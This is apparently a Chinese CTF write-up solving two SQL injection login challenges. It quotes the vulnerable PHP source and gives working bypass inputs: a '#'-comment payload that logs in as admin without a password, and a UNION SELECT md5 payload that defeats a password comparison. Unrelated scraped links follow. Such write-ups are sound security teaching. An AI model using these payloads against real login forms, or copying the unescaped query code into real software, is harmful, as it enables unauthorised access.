SQL注入1

题目

访问题目网址

先查看一下源码

仔细分析一下核心源码

<?php
if($_POST[user] && $_POST[pass]) { //判断user和pass两个变量不为空
mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS); //连接数据库
mysql_select_db(SAE_MYSQL_DB); //选择要使用的库
$user = trim($_POST[user]); //去除输入的user变量两侧的空白字符
$pass = md5(trim($_POST[pass])); //去除pass变量两侧空白字符再进行md5加密
$sql="select user from ctf where (user='".$user."') and (pw='".$pass."')"; //根据输入的user和pass构造查询语句
echo '</br>'.$sql; //回显查找语句
$query = mysql_fetch_array(mysql_query($sql)); //使用构造的查询语句查询数据库并返回结果集
if($query[user]=="admin") {
echo "<p>Logged in! flag:******************** </p>";
}
if($query[user] != "admin") {
echo("<p>You are not admin!</p>");
} //判断结果集中的user参数对应的值是不是admin,如果是返回flag,不是则返回 You are not admin!
}
echo $query[user]; //回显查询到的user值
?>

通过分析源码知道了user的值为admin,因为sql查询语句里有and,必须and前后同时成立才可以查询,但是现在不知道pass对应的值,所以考虑能不能不判断pass,直接判断user,于是想到是不是可以将user判断语句闭合并注释后面的内容,这样就不会对pass进行判断,pass就直接输入111,于是构造下面的语句。



这样的话查询语句就变成了

select user from ctf where (user='admin') #') and (pw='111')

尝试提交看看会不会返回flag。



成功拿到flag


补充:Mysql的注释语句有三种

1./* */

注释一段内容,这里明显不适用。

2.--

注释-- 后的语句直到行尾,注意这里的--后面要有一个空格,但是题目中使用了trim()函数去除空格,所以也不适用。

3.#

注释#后的语句直到行尾。

SQL注入2

题目

访问题目网址

还是先查看一下源码

分析核心源码

<?php
if($_POST[user] && $_POST[pass]) {
mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
mysql_select_db(SAE_MYSQL_DB);
$user = $_POST[user];
$pass = md5($_POST[pass]);
$query = @mysql_fetch_array(mysql_query("select pw from ctf where user='$user'"));
if (($query[pw]) && (!strcasecmp($pass, $query[pw]))) {
echo "<p>Logged in! Key: ntcf{**************} </p>";
}
else {
echo("<p>Log in failure!</p>");
}
}
?>

找到最关键的语句

if (($query[pw]) && (!strcasecmp($pass, $query[pw]))) {
echo "<p>Logged in! Key: ntcf{**************} </p>";
}
else {
echo("<p>Log in failure!</p>");
}

解题思路:

1.可以看到这里只对密码进行了对比,没有进行user的对比,所以应该考虑怎么使得$query[pw]存在且strcasecmp($pass, $query[pw]))为假。

2.$query[pw]是MySQL查询结果集中的值,只要MySQL语句返回值即可存在。

要使strcasecmp($pass, $query[pw])为假,就要使得$pass的值小于等于$query[pw](比较ASCII码)。$pass是我们输入值的md5值,$query[pw]是数据库中的正确密码。因为$pass是md5值,32位,而$query[pw]不知道,所以看看能不能将$query[pw]的值构造成我们需要的32位,且大于$pass的值,根据题目的提示,考察union联合查询,尝试构造如下语句:

select pw from ctf where user=''union select md5(2)#'

这个语句的输出因为闭合了user,user为空,查不到任何值,而后面select md5(2),则会返回2的md5值,所以返回的结果会变成下面这样:

+----------------------------------+
| pw |
+----------------------------------+
| c81e728d9d4c2f636f067f89cc14862c |
+----------------------------------+

这样从$query[pw]查询到的值就会变成2的md5值,这时我密码输入2,这样经过strcasecmp()函数的对比会返回0,达到目的。





成功拿到flag


补充:

1.strcasecmp(str1,str2)函数

strcasecmp(str1,str2)函数返回的结果是比较两个字符串的ASCII码,从第一位开始,相等就比较下一位,如果比较过程中,一旦出现str1的某一个字符的ASCII码和str2的不等,那么将返回这两个字符的ASCII码值之差。

2.union联合查询

当使用union联合查询时,前一个select查询的列名将会作为输出结果的列名,后一个select只会返回查询列的内容,而没有列名。

union前后查询列名一致

mysql> select * from t2;
+----+-------+
| id | score |
+----+-------+
| 1 | 33 |
+----+-------+
1 row in set (0.00 sec) mysql> select * from t5;
+-----------+---------+------+
| user | pw | id |
+-----------+---------+------+
| admin | 000000 | NULL |
| admin2 | 1000000 | NULL |
| gubeiqing | gu | 10 |
+-----------+---------+------+
3 rows in set (0.00 sec) mysql> select id from t2 union select id from t5;
+------+
| id |
+------+
| 1 |
| NULL |
| 10 |
+------+
3 rows in set (0.00 sec)

union前后查询列名不一致

mysql> select * from t2;
+----+-------+
| id | score |
+----+-------+
| 1 | 33 |
+----+-------+
1 row in set (0.00 sec) mysql> select * from t5;
+-----------+---------+------+
| user | pw | id |
+-----------+---------+------+
| admin | 000000 | NULL |
| admin2 | 1000000 | NULL |
| gubeiqing | gu | 10 |
+-----------+---------+------+
3 rows in set (0.00 sec) mysql> select id from t2 union select pw from t5;
+---------+
| id |
+---------+
| 1 |
| 000000 |
| 1000000 |
| gu |
+---------+
4 rows in set (0.00 sec)

CG-CTF SQL注入的更多相关文章

  1. CTF SQL注入

    目录 一.宽字节注入 二.基于约束的注入 三.报错注入 四.时间盲注 五.bool盲注 六.order by的注入 六.INSERT.UPDATE.DELETE相关的注入 七.堆叠注入 八.常用绕过 ...

  2. 一次简单的ctf SQL注入绕过

    注入地址:http://103.238.227.13:10087/index.php?id=1 //过滤sql $array = array('table','union','and','or','l ...

  3. CTF SQL注入知识点

    理解常用的登录判断 select * from user where username='admin' and password='123' 数据库元信息 infomation_schema 懂PHP ...

  4. CTF比赛中SQL注入的一些经验总结

    ctf中sql注入下的一些小技巧 最近花了一点时间总结了各大平台中注入的trick,自己还是太菜了,多半都得看题解,就特此做了一个paper方便总结 注释符 以下是Mysql中可以用到的单行注释符: ...

  5. union注入的几道ctf题,实验吧简单的sql注入1,2,这个看起来有点简单和bugku的成绩单

    这几天在做CTF当中遇到了几次sql注入都是union,写篇博客记录学习一下. 首先推荐一篇文章“https://blog.csdn.net/Litbai_zhang/article/details/ ...

  6. CTF—WEB—sql注入之宽字节注入

     宽字节注入 宽字节注入是利用mysql的一个特性,mysql在使用GBK编码(GBK就是常说的宽字节之一,实际上只有两字节)的时候,会认为两个字符是一个汉字(前一个ascii码要大于128,才到汉字 ...

  7. CTF—WEB—sql注入之无过滤有回显最简单注入

    sql注入基础原理 一.Sql注入简介 Sql 注入攻击是通过将恶意的 Sql 查询或添加语句插入到应用的输入参数中,再在后台 Sql 服务器上解析执行进行的攻击,它目前黑客对数据库进行攻击的最常用手 ...

  8. “百度杯”CTF比赛 十月场-Getflag(md5碰撞+sql注入+网站绝对路径)

    进去md5碰撞,贴一下脚本代码 import hashlib def md5(value): return hashlib.md5(str(value).encode("utf-8" ...

  9. sql注入、csrf

    ◎sql注入产生的原因?又如何防御sql注入? SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令.具体来说,它是利用现有应用 ...

  10. sql注入总结(一)--2018自我整理

    SQL注入总结 前言: 本文和之后的总结都是进行总结,详细实现过程细节可能不会写出来~ 所有sql语句均是mysql数据库的,其他数据库可能有些函数不同,但是方法大致相同 0x00 SQL注入原理: ...

随机推荐

  1. CodeForces985G Team Players

    G. Team Players time limit per test 2 seconds memory limit per test 256 megabytes input standard inp ...

  2. .net core 3.1简体中文语言包,英文只能提示变成中文!

    .net core 3.1简体中文语言包,英文只能提示变成中文!这个是我自己手动用谷歌翻译翻译的一批文档,已经把.net core3.1完全翻译了,由于是翻译器翻译,所以怕翻译有错漏,所以没有去掉英文 ...

  3. Where/Order by/Ggroup by/Having使用的注意事项

    1.Where.Order by.Group by .having Where作用对象是:基本表或视图,从中选出符合条件的元素. Order by 作用对象是:基本表或视图,就是排序方式,分为升序(A ...

  4. C和C++从零开始系列(一)

    今天开始写下一系列C和C++从入门开始的文章. 简单说几句C和C++的关系.C语言早于C++. C语言 贝尔实验室的Ken Thompson发明了 UNIX,当时有个B语言的.后来D.M.Ritchi ...

  5. Django开发登录功能实战

    前言 本文的文字及图片来源于网络,仅供学习.交流使用,不具有任何商业用途,版权归原作者所有,如有问题请及时联系我们以作处理.作者:凡夫俗子66 Django 如果是定义函数写登录路由,需要判断请求方法 ...

  6. Socket无法通过防火墙的问题

    无论是配好端口还是例外的应用程序都不行 更改本地终结点为 socket.Bind()); IPAddress.Any 不要使用127.0.0.1 不要使用127.0.0.1 不要使用127.0.0.1

  7. 【关注图像采集视频传输】之 Cy3014 usb3.0 FIFO接口

    CYUSB3014延续了CY7C68013A最吸引人的地方,那就是实现高速数据传输的Slave FIFO接口,应用这种模式,据说数据传输率可以达到320MB/s. 同USB2.0的芯片CY7C6801 ...

  8. 面试题-JS中的作用域相关问题

    对象类型: 原始数据类型存储的是值,而对象类型存储的是地址(指针).下面的这个例子就比较有意思了. 先看题: function test(person) { person.age = 26 perso ...

  9. 曹工说Spring Boot源码(2)-- Bean Definition到底是什么,咱们对着接口,逐个方法讲解

    写在前面的话 相关背景及资源: 曹工说Spring Boot源码系列开讲了(1)-- Bean Definition到底是什么,附spring思维导图分享 工程代码地址 思维导图地址 工程结构图: 正 ...

  10. 【Java Web开发学习】Spring MVC 拦截器HandlerInterceptor

    [Java Web开发学习]Spring MVC 拦截器HandlerInterceptor 转载:https://www.cnblogs.com/yangchongxing/p/9324119.ht ...